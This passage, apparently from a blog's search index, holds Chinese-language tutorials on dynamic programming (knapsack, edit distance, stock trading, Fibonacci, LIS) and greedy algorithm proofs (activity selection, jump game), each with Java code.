            <tag> 双指针 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>动态规划经典问题解析</title>
      <link href="//dp-classic-problems/"/>
      <url>//dp-classic-problems/</url>
      
        <content type="html"><![CDATA[<h2 id="一、0-1背包问题"><a href="#一、0-1背包问题" class="headerlink" title="一、0/1背包问题"></a>一、0/1背包问题</h2><h3 id="1-1-问题"><a href="#1-1-问题" class="headerlink" title="1.1 问题"></a>1.1 问题</h3><p>n个物品，重量w[i]，价值v[i]，背包容量W，求最大价值。</p><h3 id="1-2-状态定义"><a href="#1-2-状态定义" class="headerlink" title="1.2 状态定义"></a>1.2 状态定义</h3><p>dp[i][j] = 考虑前i个物品，容量为j时的最大价值</p><h3 id="1-3-状态转移"><a href="#1-3-状态转移" class="headerlink" title="1.3 状态转移"></a>1.3 状态转移</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">不选第i个：dp[i][j] = dp[i-1][j]</span><br><span class="line">选第i个：dp[i][j] = dp[i-1][j-w[i]] + v[i]</span><br><span class="line">dp[i][j] = max(不选, 选)</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">knapsack</span><span class="params">(<span class="type">int</span>[] w, <span class="type">int</span>[] v, <span class="type">int</span> W)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">n</span> <span class="operator">=</span> w.length;</span><br><span class="line">    <span class="type">int</span>[][] dp = <span class="keyword">new</span> <span class="title class_">int</span>[n + <span class="number">1</span>][W + <span class="number">1</span>];</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">1</span>; i &lt;= n; i++) &#123;</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">j</span> <span class="operator">=</span> <span class="number">0</span>; j &lt;= W; j++) &#123;</span><br><span class="line">            dp[i][j] = dp[i - <span class="number">1</span>][j];  <span class="comment">// 不选</span></span><br><span class="line">            <span class="keyword">if</span> (j &gt;= w[i - <span class="number">1</span>]) &#123;</span><br><span class="line">                dp[i][j] = Math.max(dp[i][j], </span><br><span class="line">                    dp[i - <span class="number">1</span>][j - w[i - <span class="number">1</span>]] + v[i - <span class="number">1</span>]);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> dp[n][W];</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="1-4-空间优化"><a href="#1-4-空间优化" class="headerlink" title="1.4 空间优化"></a>1.4 空间优化</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">knapsackOptimized</span><span class="params">(<span class="type">int</span>[] w, <span class="type">int</span>[] v, <span class="type">int</span> W)</span> &#123;</span><br><span class="line">    <span class="type">int</span>[] dp = <span class="keyword">new</span> <span class="title class_">int</span>[W + <span class="number">1</span>];</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; w.length; i++) &#123;</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">j</span> <span class="operator">=</span> W; j &gt;= w[i]; j--) &#123;  <span class="comment">// 倒序！</span></span><br><span class="line">            dp[j] = Math.max(dp[j], dp[j - w[i]] + v[i]);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> dp[W];</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>倒序遍历防止物品被重复选取。</p><h2 id="二、完全背包"><a href="#二、完全背包" class="headerlink" title="二、完全背包"></a>二、完全背包</h2><h3 id="2-1-问题"><a href="#2-1-问题" class="headerlink" title="2.1 问题"></a>2.1 问题</h3><p>每个物品可以选无限次。</p><h3 id="2-2-状态转移"><a href="#2-2-状态转移" class="headerlink" title="2.2 状态转移"></a>2.2 状态转移</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 正序遍历</span></span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> <span class="variable">j</span> <span class="operator">=</span> w[i]; j &lt;= W; j++) &#123;</span><br><span class="line">    dp[j] = Math.max(dp[j], dp[j - w[i]] + v[i]);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="2-3-与0-1背包的区别"><a href="#2-3-与0-1背包的区别" class="headerlink" title="2.3 与0/1背包的区别"></a>2.3 与0/1背包的区别</h3><ul><li>0/1背包：倒序（每个物品只能用一次）</li><li>完全背包：正序（可以重复使用）</li></ul><h2 id="三、编辑距离"><a href="#三、编辑距离" class="headerlink" title="三、编辑距离"></a>三、编辑距离</h2><h3 id="3-1-问题"><a href="#3-1-问题" class="headerlink" title="3.1 问题"></a>3.1 问题</h3><p>将word1转换为word2的最少操作数（插入、删除、替换）。</p><h3 id="3-2-状态"><a href="#3-2-状态" class="headerlink" title="3.2 状态"></a>3.2 状态</h3><p>dp[i][j] = word1[0..i) 转 word2[0..j) 的最小操作数</p><h3 id="3-3-实现"><a href="#3-3-实现" class="headerlink" title="3.3 实现"></a>3.3 实现</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">minDistance</span><span class="params">(String word1, String word2)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">m</span> <span class="operator">=</span> word1.length(), n = word2.length();</span><br><span class="line">    <span class="type">int</span>[][] dp = <span class="keyword">new</span> <span class="title class_">int</span>[m + <span class="number">1</span>][n + <span class="number">1</span>];</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt;= m; i++) dp[i][<span class="number">0</span>] = i;  <span class="comment">// 删除</span></span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">j</span> <span class="operator">=</span> <span class="number">0</span>; j &lt;= n; j++) dp[<span class="number">0</span>][j] = j;  <span class="comment">// 插入</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">1</span>; i &lt;= m; i++) &#123;</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">j</span> <span class="operator">=</span> <span class="number">1</span>; j &lt;= n; j++) &#123;</span><br><span class="line">            <span class="keyword">if</span> (word1.charAt(i - <span class="number">1</span>) == word2.charAt(j - <span class="number">1</span>)) &#123;</span><br><span class="line">                dp[i][j] = dp[i - <span class="number">1</span>][j - <span class="number">1</span>];</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                dp[i][j] = Math.min(</span><br><span class="line">                    dp[i - <span class="number">1</span>][j] + <span class="number">1</span>,      <span class="comment">// 删除</span></span><br><span class="line">                    Math.min(</span><br><span class="line">                        dp[i][j - <span class="number">1</span>] + <span class="number">1</span>,  <span class="comment">// 插入</span></span><br><span class="line">                        dp[i - <span class="number">1</span>][j - <span class="number">1</span>] + <span class="number">1</span>  <span class="comment">// 替换</span></span><br><span class="line">                    )</span><br><span class="line">                );</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> dp[m][n];</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="四、股票买卖问题"><a href="#四、股票买卖问题" class="headerlink" title="四、股票买卖问题"></a>四、股票买卖问题</h2><h3 id="4-1-买卖一次"><a href="#4-1-买卖一次" class="headerlink" title="4.1 买卖一次"></a>4.1 买卖一次</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">maxProfit</span><span class="params">(<span class="type">int</span>[] prices)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">minPrice</span> <span class="operator">=</span> Integer.MAX_VALUE;</span><br><span class="line">    <span class="type">int</span> <span class="variable">maxProfit</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> price : prices) &#123;</span><br><span class="line">        minPrice = Math.min(minPrice, price);</span><br><span class="line">        maxProfit = Math.max(maxProfit, price - minPrice);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> maxProfit;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="4-2-买卖多次"><a href="#4-2-买卖多次" class="headerlink" title="4.2 买卖多次"></a>4.2 买卖多次</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">maxProfitII</span><span class="params">(<span class="type">int</span>[] prices)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">profit</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">1</span>; i &lt; prices.length; i++) &#123;</span><br><span class="line">        <span class="keyword">if</span> (prices[i] &gt; prices[i - <span class="number">1</span>]) &#123;</span><br><span class="line">            profit += prices[i] - prices[i - <span class="number">1</span>];</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> profit;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="4-3-含冷冻期"><a href="#4-3-含冷冻期" class="headerlink" title="4.3 含冷冻期"></a>4.3 含冷冻期</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">maxProfitWithCooldown</span><span class="params">(<span class="type">int</span>[] prices)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">n</span> <span class="operator">=</span> prices.length;</span><br><span class="line">    <span class="keyword">if</span> (n &lt; <span class="number">2</span>) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// hold: 持有股票, sold: 刚卖出, rest: 不持有</span></span><br><span class="line">    <span class="type">int</span> <span class="variable">hold</span> <span class="operator">=</span> -prices[<span class="number">0</span>], sold = <span class="number">0</span>, rest = <span class="number">0</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">1</span>; i &lt; n; i++) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">prevSold</span> <span class="operator">=</span> sold;</span><br><span class="line">        sold = hold + prices[i];</span><br><span class="line">        hold = Math.max(hold, rest - prices[i]);</span><br><span class="line">        rest = Math.max(rest, prevSold);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> Math.max(sold, rest);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="五、总结"><a href="#五、总结" class="headerlink" title="五、总结"></a>五、总结</h2><table><thead><tr><th>问题类型</th><th>状态设计</th><th>关键点</th></tr></thead><tbody><tr><td>0/1背包</td><td>dp[j]容量j的最大价值</td><td>倒序遍历</td></tr><tr><td>完全背包</td><td>dp[j]容量j的最大价值</td><td>正序遍历</td></tr><tr><td>编辑距离</td><td>dp[i][j]子串转换代价</td><td>三种操作</td></tr><tr><td>股票问题</td><td>每天的状态机转移</td><td>定义清楚每天的状态</td></tr></tbody></table><p>动态规划的难点在于<strong>状态设计</strong>。多练习经典问题，总结状态设计的模式，是掌握DP的关键。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 算法 </tag>
            
            <tag> 动态规划 </tag>
            
            <tag> DP </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>动态规划入门与状态转移</title>
      <link href="//dynamic-programming-intro/"/>
      <url>//dynamic-programming-intro/</url>
      
        <content type="html"><![CDATA[<h2 id="一、动态规划概述"><a href="#一、动态规划概述" class="headerlink" title="一、动态规划概述"></a>一、动态规划概述</h2><h3 id="1-1-核心思想"><a href="#1-1-核心思想" class="headerlink" title="1.1 核心思想"></a>1.1 核心思想</h3><p><strong>分解子问题 + 记忆化 + 递推求解</strong></p><p>将大问题分解为重叠子问题，存储子问题的解避免重复计算。</p><h3 id="1-2-DP三要素"><a href="#1-2-DP三要素" class="headerlink" title="1.2 DP三要素"></a>1.2 DP三要素</h3><ol><li><strong>状态定义</strong>：dp[i] 表示什么含义</li><li><strong>状态转移方程</strong>：dp[i] 与 dp[i-1], dp[i-2] … 的关系</li><li><strong>初始状态</strong>：边界条件的值</li></ol><h3 id="1-3-DP-vs-递归-vs-贪心"><a href="#1-3-DP-vs-递归-vs-贪心" class="headerlink" title="1.3 DP vs 递归 vs 贪心"></a>1.3 DP vs 递归 vs 贪心</h3><table><thead><tr><th>特性</th><th>递归</th><th>贪心</th><th>动态规划</th></tr></thead><tbody><tr><td>子问题重叠</td><td>重复计算</td><td>不涉及</td><td>记忆化避免重复</td></tr><tr><td>选择</td><td>遍历所有</td><td>局部最优</td><td>保存所有子问题最优</td></tr><tr><td>最优性</td><td>可能最优</td><td>不一定</td><td>保证最优</td></tr></tbody></table><h2 id="二、解题步骤"><a href="#二、解题步骤" class="headerlink" title="二、解题步骤"></a>二、解题步骤</h2><h3 id="2-1-四步法"><a href="#2-1-四步法" class="headerlink" title="2.1 四步法"></a>2.1 四步法</h3><ol><li><strong>定义状态</strong>：明确dp数组的含义</li><li><strong>找转移方程</strong>：分析状态如何转移</li><li><strong>初始化</strong>：确定边界条件</li><li><strong>确定遍历顺序</strong>：确保所需状态已计算</li></ol><h2 id="三、经典入门问题"><a href="#三、经典入门问题" class="headerlink" title="三、经典入门问题"></a>三、经典入门问题</h2><h3 id="3-1-斐波那契数列"><a href="#3-1-斐波那契数列" class="headerlink" title="3.1 斐波那契数列"></a>3.1 斐波那契数列</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 递归 - O(2ⁿ)</span></span><br><span class="line"><span class="type">int</span> <span class="title function_">fib</span><span class="params">(<span class="type">int</span> n)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (n &lt;= <span class="number">1</span>) <span class="keyword">return</span> n;</span><br><span class="line">    <span class="keyword">return</span> fib(n - <span class="number">1</span>) + fib(n - <span class="number">2</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 记忆化 - O(n)</span></span><br><span class="line"><span class="type">int</span> <span class="title function_">fibMemo</span><span class="params">(<span class="type">int</span> n, <span class="type">int</span>[] memo)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (n &lt;= <span class="number">1</span>) <span class="keyword">return</span> n;</span><br><span class="line">    <span class="keyword">if</span> (memo[n] != <span class="number">0</span>) <span class="keyword">return</span> memo[n];</span><br><span class="line">    memo[n] = fibMemo(n - <span class="number">1</span>, memo) + fibMemo(n - <span class="number">2</span>, memo);</span><br><span class="line">    <span class="keyword">return</span> memo[n];</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 动态规划 - O(n), O(1)空间</span></span><br><span class="line"><span class="type">int</span> <span class="title function_">fibDP</span><span class="params">(<span class="type">int</span> n)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (n &lt;= <span class="number">1</span>) <span class="keyword">return</span> n;</span><br><span class="line">    <span class="type">int</span> <span class="variable">prev2</span> <span class="operator">=</span> <span class="number">0</span>, prev1 = <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">2</span>; i &lt;= n; i++) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">curr</span> <span class="operator">=</span> prev1 + prev2;</span><br><span class="line">        prev2 = prev1;</span><br><span class="line">        prev1 = curr;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> prev1;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-2-爬楼梯"><a href="#3-2-爬楼梯" class="headerlink" title="3.2 爬楼梯"></a>3.2 爬楼梯</h3><p><strong>问题</strong>：n阶楼梯，每次爬1或2步，有多少种方法。</p><p><strong>状态</strong>：dp[i] = 爬到第i阶的方法数</p><p><strong>转移</strong>：dp[i] = dp[i-1] + dp[i-2]</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">climbStairs</span><span class="params">(<span class="type">int</span> n)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (n &lt;= <span class="number">2</span>) <span class="keyword">return</span> n;</span><br><span class="line">    <span class="type">int</span>[] dp = <span class="keyword">new</span> <span class="title class_">int</span>[n + <span class="number">1</span>];</span><br><span class="line">    dp[<span class="number">1</span>] = <span class="number">1</span>; dp[<span class="number">2</span>] = <span class="number">2</span>;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">3</span>; i &lt;= n; i++) &#123;</span><br><span class="line">        dp[i] = dp[i - <span class="number">1</span>] + dp[i - <span class="number">2</span>];</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> dp[n];</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-3-不同路径"><a href="#3-3-不同路径" class="headerlink" title="3.3 不同路径"></a>3.3 不同路径</h3><p><strong>问题</strong>：m×n网格，从左上到右下，只能右或下，路径数。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">uniquePaths</span><span class="params">(<span class="type">int</span> m, <span class="type">int</span> n)</span> &#123;</span><br><span class="line">    <span class="type">int</span>[][] dp = <span class="keyword">new</span> <span class="title class_">int</span>[m][n];</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; m; i++) dp[i][<span class="number">0</span>] = <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">j</span> <span class="operator">=</span> <span class="number">0</span>; j &lt; n; j++) dp[<span class="number">0</span>][j] = <span class="number">1</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">1</span>; i &lt; m; i++) &#123;</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">j</span> <span class="operator">=</span> <span class="number">1</span>; j &lt; n; j++) &#123;</span><br><span class="line">            dp[i][j] = dp[i - <span class="number">1</span>][j] + dp[i][j - <span class="number">1</span>];</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> dp[m - <span class="number">1</span>][n - <span class="number">1</span>];</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-4-最长递增子序列-LIS"><a href="#3-4-最长递增子序列-LIS" class="headerlink" title="3.4 最长递增子序列(LIS)"></a>3.4 最长递增子序列(LIS)</h3><p><strong>状态</strong>：dp[i] = 以nums[i]结尾的最长递增子序列长度</p><p><strong>转移</strong>：dp[i] = max(dp[j] + 1)，其中 j &lt; i 且 nums[j] &lt; nums[i]</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">lengthOfLIS</span><span class="params">(<span class="type">int</span>[] nums)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">n</span> <span class="operator">=</span> nums.length;</span><br><span class="line">    <span class="type">int</span>[] dp = <span class="keyword">new</span> <span class="title class_">int</span>[n];</span><br><span class="line">    Arrays.fill(dp, <span class="number">1</span>);</span><br><span class="line">    <span class="type">int</span> <span class="variable">maxLen</span> <span class="operator">=</span> <span class="number">1</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">1</span>; i &lt; n; i++) &#123;</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">j</span> <span class="operator">=</span> <span class="number">0</span>; j &lt; i; j++) &#123;</span><br><span class="line">            <span class="keyword">if</span> (nums[j] &lt; nums[i]) &#123;</span><br><span class="line">                dp[i] = Math.max(dp[i], dp[j] + <span class="number">1</span>);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        maxLen = Math.max(maxLen, dp[i]);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> maxLen;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>( O(n^2) )，可优化到 ( O(n \log n) ) 用二分查找。</p><h3 id="3-5-最大子数组和"><a href="#3-5-最大子数组和" class="headerlink" title="3.5 最大子数组和"></a>3.5 最大子数组和</h3><p><strong>状态</strong>：dp[i] = 以nums[i]结尾的最大子数组和</p><p><strong>转移</strong>：dp[i] = max(nums[i], dp[i-1] + nums[i])</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">maxSubArray</span><span class="params">(<span class="type">int</span>[] nums)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">maxSum</span> <span class="operator">=</span> nums[<span class="number">0</span>], currSum = nums[<span class="number">0</span>];</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">1</span>; i &lt; nums.length; i++) &#123;</span><br><span class="line">        currSum = Math.max(nums[i], currSum + nums[i]);</span><br><span class="line">        maxSum = Math.max(maxSum, currSum);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> maxSum;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="四、空间优化"><a href="#四、空间优化" class="headerlink" title="四、空间优化"></a>四、空间优化</h2><h3 id="4-1-滚动数组"><a href="#4-1-滚动数组" class="headerlink" title="4.1 滚动数组"></a>4.1 滚动数组</h3><p>当状态只依赖于前几个状态时，可用变量替代数组。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 斐波那契</span></span><br><span class="line"><span class="type">int</span> <span class="variable">a</span> <span class="operator">=</span> <span class="number">0</span>, b = <span class="number">1</span>;</span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">2</span>; i &lt;= n; i++) &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">c</span> <span class="operator">=</span> a + b;</span><br><span class="line">    a = b;</span><br><span class="line">    b = c;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="五、总结"><a href="#五、总结" class="headerlink" title="五、总结"></a>五、总结</h2><p>动态规划的关键是<strong>找到正确的状态定义</strong>。一旦状态定义清晰，转移方程往往自然浮现。记住DP的核心：<strong>大事化小，小事化了，记忆结果，避免重复</strong>。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 算法 </tag>
            
            <tag> 动态规划 </tag>
            
            <tag> DP </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>贪心算法的正确性证明</title>
      <link href="//greedy-algorithm-proof/"/>
      <url>//greedy-algorithm-proof/</url>
      
        <content type="html"><![CDATA[<h2 id="一、贪心算法概述"><a href="#一、贪心算法概述" class="headerlink" title="一、贪心算法概述"></a>一、贪心算法概述</h2><h3 id="1-1-核心思想"><a href="#1-1-核心思想" class="headerlink" title="1.1 核心思想"></a>1.1 核心思想</h3><p>每一步都做出<strong>局部最优选择</strong>，期望最终得到全局最优解。</p><h3 id="1-2-与动态规划的区别"><a href="#1-2-与动态规划的区别" class="headerlink" title="1.2 与动态规划的区别"></a>1.2 与动态规划的区别</h3><table><thead><tr><th>特性</th><th>贪心</th><th>动态规划</th></tr></thead><tbody><tr><td>决策方式</td><td>每步唯一选择</td><td>保留多个子问题解</td></tr><tr><td>回溯</td><td>不回溯</td><td>可能回溯</td></tr><tr><td>复杂度</td><td>通常更低</td><td>较高</td></tr><tr><td>适用范围</td><td>满足贪心选择性质</td><td>满足最优子结构</td></tr></tbody></table><h3 id="1-3-适用条件"><a href="#1-3-适用条件" class="headerlink" title="1.3 适用条件"></a>1.3 适用条件</h3><ol><li><strong>贪心选择性质</strong>：局部最优能导致全局最优</li><li><strong>最优子结构</strong>：问题的最优解包含子问题的最优解</li></ol><h2 id="二、正确性证明方法"><a href="#二、正确性证明方法" class="headerlink" title="二、正确性证明方法"></a>二、正确性证明方法</h2><h3 id="2-1-反证法"><a href="#2-1-反证法" class="headerlink" title="2.1 反证法"></a>2.1 反证法</h3><p>假设贪心解不是最优，推出矛盾。</p><h3 id="2-2-归纳法"><a href="#2-2-归纳法" class="headerlink" title="2.2 归纳法"></a>2.2 归纳法</h3><p>证明前k步贪心选择都包含在某个最优解中。</p><h3 id="2-3-交换论证"><a href="#2-3-交换论证" class="headerlink" title="2.3 交换论证"></a>2.3 交换论证</h3><p>将最优解中的某个选择替换为贪心选择，证明不会变差。</p><h2 id="三、经典问题"><a href="#三、经典问题" class="headerlink" title="三、经典问题"></a>三、经典问题</h2><h3 id="3-1-活动选择问题"><a href="#3-1-活动选择问题" class="headerlink" title="3.1 活动选择问题"></a>3.1 活动选择问题</h3><p><strong>问题</strong>：选择最多不重叠的活动。</p><p><strong>贪心策略</strong>：每次选择<strong>结束时间最早</strong>的活动。</p><p><strong>证明</strong>：<br>设贪心选择的活动 ( g_1 ) 结束最早。假设最优解第一个活动为 ( o_1 )。<br>由于 ( g_1 ) 结束不晚于 ( o_1 )，用 ( g_1 ) 替换 ( o_1 ) 不会减少可选活动数。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">maxActivities</span><span class="params">(<span class="type">int</span>[][] activities)</span> &#123;</span><br><span class="line">    <span class="comment">// 按结束时间排序</span></span><br><span class="line">    Arrays.sort(activities, (a, b) -&gt; a[<span class="number">1</span>] - b[<span class="number">1</span>]);</span><br><span class="line">    </span><br><span class="line">    <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">1</span>;</span><br><span class="line">    <span class="type">int</span> <span class="variable">end</span> <span class="operator">=</span> activities[<span class="number">0</span>][<span class="number">1</span>];</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">1</span>; i &lt; activities.length; i++) &#123;</span><br><span class="line">        <span class="keyword">if</span> (activities[i][<span class="number">0</span>] &gt;= end) &#123;</span><br><span class="line">            count++;</span><br><span class="line">            end = activities[i][<span class="number">1</span>];</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> count;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-2-跳跃游戏"><a href="#3-2-跳跃游戏" class="headerlink" title="3.2 跳跃游戏"></a>3.2 跳跃游戏</h3><p><strong>问题</strong>：能否到达最后一个位置。</p><p><strong>贪心策略</strong>：维护最远可达位置。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">canJump</span><span class="params">(<span class="type">int</span>[] nums)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">maxReach</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; nums.length; i++) &#123;</span><br><span class="line">        <span class="keyword">if</span> (i &gt; maxReach) <span class="keyword">return</span> <span class="literal">false</span>;  <span class="comment">// 无法到达当前位置</span></span><br><span class="line">        maxReach = Math.max(maxReach, i + nums[i]);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-3-最少跳跃次数"><a href="#3-3-最少跳跃次数" class="headerlink" title="3.3 最少跳跃次数"></a>3.3 最少跳跃次数</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">jump</span><span class="params">(<span class="type">int</span>[] nums)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">jumps</span> <span class="operator">=</span> <span class="number">0</span>, currentEnd = <span class="number">0</span>, farthest = <span class="number">0</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; nums.length - <span class="number">1</span>; i++) &#123;</span><br><span class="line">        farthest = Math.max(farthest, i + nums[i]);</span><br><span class="line">        <span class="keyword">if</span> (i == currentEnd) &#123;</span><br><span class="line">            jumps++;</span><br><span class="line">            currentEnd = farthest;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> jumps;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-4-分发饼干"><a href="#3-4-分发饼干" class="headerlink" title="3.4 分发饼干"></a>3.4 分发饼干</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">findContentChildren</span><span class="params">(<span class="type">int</span>[] g, <span class="type">int</span>[] s)</span> &#123;</span><br><span class="line">    Arrays.sort(g);</span><br><span class="line">    Arrays.sort(s);</span><br><span class="line">    </span><br><span class="line">    <span class="type">int</span> <span class="variable">child</span> <span 